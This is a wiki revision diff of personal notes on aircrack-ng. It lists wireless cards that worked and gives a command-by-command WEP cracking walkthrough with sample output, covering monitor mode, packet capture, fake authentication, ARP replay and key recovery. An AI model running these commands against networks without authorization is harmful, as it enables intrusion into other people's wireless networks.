Aircrack-ng

2010-09-02T04:41:00Z

Useful Links:

← Older revision		Revision as of 04:41, 2 September 2010
(5 intermediate revisions not shown)
Line 1:		Line 1:
-	Wireless Card Chipset Atheros AR5001x+	+	= Wireless Cards =
		+	* Wireless Card Chipset Atheros AR5001x+
		+	** Driver ath5k
		+	** No real success but is suppose to work
		+	* Realtek RTL8187 (Encore USB Dongle)
		+	** Driver rtl8187
		+	** WEP Cracking worked
		+
		+	= Useful Links =
		+	* [http://www.aircrack-ng.org/doku.php?id=simple_wep_crack simple_wep_crack]
		+	* [http://www.aircrack-ng.org/doku.php?id=injection_test injection test and attack tests]
		+	* [http://www.aircrack-ng.org/doku.php?id=cracking_wpa cracking wpa]
		+	* [http://www.corelan.be:8800/index.php/2009/02/20/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng/ aircrack cheatsheet]
		+
		+	== Start/Stop Monitor Mode ==
		+	Start Monitor mode, channel is optional, '''you need to start the network adapter on the same channel as the network you are trying to crack'''
		+	airmon-ng start wlan0 <channel>
		+	Stop monitor mode
		+	airmon-ng stop mon0
		+	'iwconfig' and 'airmon-ng' will show status of wireless adapters
		+
		+	= WEP Cracking =
		+	== Setup ==
		+	===Look around for wireless networks===
		+	Channel is optional
		+	airodump-ng -w <file_prefix> --channel <channel> <adapter>
		+	airodump-ng -w test --channel 3 mon0
		+	airodump-ng -w test mon0
		+	This will spit out info about about all the networks it sees and write data to files in current directory
		+
		+	=== Test Injection ===
		+	aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 mon0
		+	Where:
		+	*-9 means injection test
		+	*-e teddy is the wireless network name
		+	*-a 00:14:6C:7E:40:80 is the access point MAC address
		+	*mon0 is the wireless interface name
		+	Should print something like this:
		+	09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
		+	09:23:35 Trying broadcast probe requests...
		+	09:23:35 Injection is working!
		+	09:23:37 Found 1 AP
		+
		+	09:23:37 Trying directed probe requests...
		+	09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
		+	09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
		+	09:23:39 30/30: 100%
		+
		+	== Start Cracking ==
		+
		+	=== Start airodump-ng to capture the IVs ===
		+	airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output mon0
		+	Where:
		+	* -c 9 is the channel for the wireless network
		+	* --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
		+	* -w capture is file name prefix for the file which will contain the IVs.
		+	* mon0 is the interface name.
		+
		+	=== Use aireplay-ng to do a fake authentication with the access point ===
		+	aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
		+	Where:
		+	* -1 means fake authentication
		+	* 0 reassociation timing in seconds
		+	* -e teddy is the wireless network name
		+	* -a 00:14:6C:7E:40:80 is the access point MAC address
		+	* -h 00:0F:B5:88:AC:82 is our card MAC address
		+	* mon0 is the wireless interface name
		+	Should look like this:
		+	18:18:20 Sending Authentication Request
		+	18:18:20 Authentication successful
		+	18:18:20 Sending Association Request
		+	18:18:20 Association successful :-)
		+
		+	=== Start aireplay-ng in ARP request replay mode ===
		+	aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
		+	Should look like this:
		+	Saving ARP requests in replay_arp-0321-191525.cap
		+	You should also start airodump-ng to capture replies.
		+	Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
		+
		+	=== Run aircrack-ng to obtain the WEP key ===
		+	aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
		+
		+	= WPA Cracking =
		+	TODO

BC's PCs Wiki - Recent changes [en]

Aircrack-ng